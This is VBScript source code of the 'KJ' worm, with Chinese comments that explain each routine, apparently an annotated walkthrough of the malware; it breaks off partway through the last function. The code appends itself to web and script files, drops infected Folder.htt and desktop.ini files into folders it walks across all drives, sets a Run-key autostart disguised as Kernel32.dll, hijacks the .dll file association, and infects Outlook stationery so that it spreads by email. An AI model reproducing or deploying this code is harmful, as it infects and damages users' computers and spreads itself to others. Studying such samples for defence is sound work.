Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
' 初始化变量
KJSetDim()
' 初始化环境
KJCreateMilieu()
' 感染本地或者共享上与html所在目录
KJLikeIt()
' 通过vbs感染Outlook邮件模板
KJCreateMail()
' 进行病毒传播
KJPropagate()
End Sub
' 函数:KJAppendTo(FilePath,TypeStr)
' 功能:向指定类型的指定文件追加病毒
' 参数:
' FilePath 指定文件路径
' TypeStr 指定类型
Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
' 以只读方式打开指定文件
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
' 将文件内容读入到TmpStr变量中
TmpStr = ReadTemp.ReadAll
' 判断文件中是否存在"KJ_start()"字符串,若存在说明已经感染,退出函数;
' 若文件长度小于1,也退出函数。
If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
' 如果传过来的类型是"htt"
' 在文件头加上调用页面的时候加载KJ_start()函数;
' 在文件尾追加html版本的加密病毒体。
' 如果是"html"
' 在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
' 如果是"vbs"
' 在文件尾追加vbs版本的病毒体
If TypeStr = "htt" Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
FileTemp.Close
End If
End Function
' 函数:KJChangeSub(CurrentString,LastIndexChar)
' 功能:改变子目录以及盘符
' 参数:
' CurrentString 当前目录
' LastIndexChar 上一级目录在当前路径中的位置
Function KJChangeSub(CurrentString,LastIndexChar)
' 判断是否是根目录
If LastIndexChar = 0 Then
' 如果是根目录
' 如果是C:\,返回FinalyDisk盘,并将SubE置为0,
' 如果不是C:\,返回将当前盘符递减1,并将SubE置为0
If Left(LCase(CurrentString),1) =< LCase("c") Then
KJChangeSub = FinalyDisk & ":\"
SubE = 0
Else
KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\"
SubE = 0
End If
Else
' 如果不是根目录,则返回上一级目录名称
KJChangeSub = Mid(CurrentString,1,LastIndexChar)
End If
End Function
' 函数:KJCreateMail()
' 功能:感染邮件部分
Function KJCreateMail()
On Error Resume Next
' 如果当前执行文件是"html"的,就退出函数
If InWhere = "html" Then
Exit Function
End If
' 取系统盘的空白页的路径
ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
' 如果存在这个文件,就向其追加html的病毒体
' 否则生成含有病毒体的这个文件
If (FSO.FileExists(ShareFile)) Then
Call KJAppendTo(ShareFile,"html")
Else
Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)
FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
FileTemp.Close
End If
' 取得当前用户的ID和OutLook的版本
DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")
' 激活信纸功能,并感染所有信纸
WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile)
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")
KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery")
End Function
' 函数:KJCreateMilieu()
' 功能:创建系统环境
Function KJCreateMilieu()
On Error Resume Next
TempPath = ""
' 判断操作系统是NT/2000还是9X
If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
TempPath = "system32\"
End If
' 为了文件名起到迷惑性,并且不会与系统文件冲突。
' 如果是NT/2000则启动文件为system\Kernel32.dll
' 如果是9x启动文件则为system\Kernel.dll
If TempPath = "system32\" Then
StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
Else
StartUpFile = WinPath & "SYSTEM\Kernel.dll"
End If
' 添加Run值,添加刚才生成的启动文件路径
WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile
' 拷贝前期备份的文件到原来的目录
FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"
FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini"
' 向%windir%\web\Folder.htt追加病毒体
Call KJAppendTo(WinPath & "web\Folder.htt","htt")
' 改变dll的MIME头
' 改变dll的默认图标
' 改变dll的打开方式
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"
' 启动时加载的病毒文件中写入病毒体
Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)
FileTemp.Write VbsText
FileTemp.Close
End Function
' 函数:KJLikeIt()
' 功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录
Function KJLikeIt()
' 如果当前执行文件不是"html"的就退出程序
If InWhere <> "html" Then
Exit Function
End If
' 取得文档当前路径
ThisLocation = document.location
' 如果是本地或网上共享文件
If Left(ThisLocation, 4) = "file" Then
ThisLocation = Mid(ThisLocation,9)
' 如果这个文件扩展名不为空,在ThisLocation中保存它的路径
If FSO.GetExtensionName(ThisLocation) <> "" then
ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
End If
' 如果ThisLocation的长度大于3就尾追一个"\"
If Len(ThisLocation) > 3 Then
ThisLocation = ThisLocation & "\"
End If
' 感染这个目录
KJummageFolder(ThisLocation)
End If
End Function
' 函数:KJMailReg(RegStr,FileName)
' 功能:如果注册表指定键值不存在,则向指定位置写入指定文件名
' 参数:
' RegStr 注册表指定键值
' FileName 指定文件名
Function KJMailReg(RegStr,FileName)
On Error Resume Next
' 如果注册表指定键值不存在,则向指定位置写入指定文件名
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr,FileName
End If
End Function
' 函数:KJOboSub(CurrentString)
' 功能:遍历并返回目录路径
' 参数:
' CurrentString 当前目录
Function KJOboSub(CurrentString)
SubE = 0
TestOut = 0
Do While True
TestOut = TestOut + 1
If TestOut > 28 Then
CurrentString = FinalyDisk & ":\"
Exit Do
End If
On Error Resume Next
' 取得当前目录的所有子目录,并且放到字典中
Set ThisFolder = FSO.GetFolder(CurrentString)
Set DicSub = CreateObject("Scripting.Dictionary")
Set Folders = ThisFolder.SubFolders
FolderCount = 0
For Each TempFolder in Folders
FolderCount = FolderCount + 1
DicSub.add FolderCount, TempFolder.Name
Next
' 如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1
If DicSub.Count = 0 Then
LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
SubE = 1
Else
' 如果存在子目录
' 如果SubE为0,则将CurrentString变为它的第1个子目录
If SubE = 0 Then
CurrentString = CurrentString & DicSub.Item(1) & "\"
Exit Do
Else
' 如果SubE为1,继续遍历子目录,并将下一个子目录返回
j = 0
For j = 1 To FolderCount
If LCase(SubString) = LCase(DicSub.Item(j)) Then
If j < FolderCount Then
CurrentString = CurrentString & DicSub.Item(j+1) & "\"
Exit Do
End If
End If
Next
LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
End If
End If
Loop
KJOboSub = CurrentString
End Function
' 函数:KJPropagate()
' 功能:病毒传播
Function KJPropagate()
On Error Resume Next
RegPathValue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"
DiskDegree = WsShell.RegRead(RegPathValue)
' 如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘
If DiskDegree = "" Then
DiskDegree = FinalyDisk & ":\"
End If
' 继DiskDegree置后感染5个目录
For i=1 to 5
DiskDegree = KJOboSub(DiskDegree)
KJummageFolder(DiskDegree)
Next
' 将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"键值中
WsShell.RegWrite RegPathValue,DiskDegree
End Function
' 函数:KJummageFolder(PathName)
' 功能:感染指定目录
' 参数:
' PathName 指定目录
Function KJummageFolder(PathName)
On Error Resume Next
' 取得目录中的所有文件集
Set FolderName = FSO.GetFolder(PathName)
Set ThisFiles = FolderName.Files
HttExists = 0
For Each ThisFile In ThisFiles
FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
' 判断扩展名
' 若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体
' 若是VBS则向文件中追加VBS版的病毒体
' 若是HTT,则标志为已经存在HTT了
If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
Call KJAppendTo(ThisFile.Path,"html")
ElseIf FileExt = "VBS" Then
Call KJAppendTo(ThisFile.Path,"vbs")
ElseIf FileExt = "HTT" Then
HttExists = 1
End If
Next
' 如果所给的路径是桌面,则标志为已经存在HTT了
If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
HttExists = 1
End If
' 如果不存在HTT
' 向目录中追加病毒体
If HttExists = 0 Then
FSO.CopyFile WinPath & "system32\desktop.ini",PathName
FSO.CopyFile WinPath & "web\Folder.htt",PathName
End If
End Function
' 函数KJSetDim()
' 定义FSO,WsShell对象
' 取得最后一个可用磁盘卷标
' 生成传染用的加密字串
' 备份系统中的web\folder.htt和system32\desktop.ini
Function KJSetDim()
On Error Resume Next
Err.Clear
' 测试当前执行文件是html还是vbs
TestIt = WScript.ScriptFullname
If Err Then
InWhere = "html"
Else
InWhere = "vbs"
End If
' 创建文件访问对象和Shell对象
If InWhere = "vbs" Then
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WsShell = CreateObject("WScript.Shell")
Else
Set AppleObject = document.applets("KJ_guest")
AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
AppleObject.createInstance()
Set WsShell = AppleObject.GetObject()
AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
AppleObject.createInstance()
Set FSO = AppleObject.GetObject()
End If
Set DiskObject = FSO.Drives
' 判断磁盘类型
'
' 0: Unknown
' 1: Removable
' 2: Fixed
' 3: Network
' 4: CD-ROM
' 5: RAM Disk
' 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样?
For Each DiskTemp In DiskObject
If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
Exit For
End If
FinalyDisk = DiskTemp.DriveLetter
Next